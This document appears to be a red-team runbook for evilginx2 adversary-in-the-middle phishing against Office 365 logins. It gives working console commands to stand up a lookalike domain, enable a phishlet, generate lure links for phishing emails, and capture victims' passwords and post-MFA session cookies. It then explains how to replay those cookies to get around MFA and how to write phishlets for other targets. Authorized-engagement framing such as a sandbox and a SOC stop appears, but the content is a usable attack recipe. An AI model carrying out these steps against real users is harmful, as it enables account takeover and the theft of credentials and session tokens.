Evilginx2 Proxy

evilginx2 Phishlet (AiTM)

When the target enforces MFA, a static fake login page is useless — you need the authenticated session cookie. evilginx2 is an adversary-in-the-middle reverse proxy: the victim authenticates against the real site through your proxy, MFA included, and you capture the resulting session token for replay.

Prerequisites

• evilginx2 in the sandbox; ports 443/53 free.
• A lookalike domain with an A record to the sandbox and NS delegation so evilginx2 can answer ACME (lookalike-domain).
• The lure-deconfliction handshake COMPLETE.

Deploy

# DNS + cert: evilginx manages Let's Encrypt automatically
evilginx2 -p /opt/evilginx/phishlets
# in the evilginx console:
config domain login.acme-portal.example
config ipv4 <sandbox-ip>
phishlets hostname o365 login.acme-portal.example
phishlets enable o365
lures create o365
lures get-url 0          # -> the link you put in the GoPhish email

Authoring a phishlet (when none ships for the target)

A phishlet is a YAML map of the target's auth hosts, the sub_filters that rewrite the real domain to yours in responses, and the auth_tokens (which cookies signal a completed login). Capture a normal login in a proxy, identify the session cookie(s) the app sets post-MFA, and list them under auth_tokens. Keep ACME challenge paths off the proxied auth path.

Capture + replay

# evilginx console: list captured sessions
sessions
sessions <id>            # shows username, password, and the tokens (cookie JSON)

Import the captured cookie JSON into a clean browser profile / a Cookie header to ride the authenticated session without re-triggering MFA.

Evidence

Captured session → Credential node (type session-token) linked to the User node with the lure id. Save the session JSON under evidence/phisher/<id>-session.json. Note the estimated token TTL.

OPSEC

• One phishlet per engagement domain; rotate after the engagement.
• The session token is the crown jewel — store ONLY in evidence/ + the knowledge graph, never anywhere off-box.
• evilginx_disable_phishlet (phishlets disable o365) returns 502 on a SOC stop request.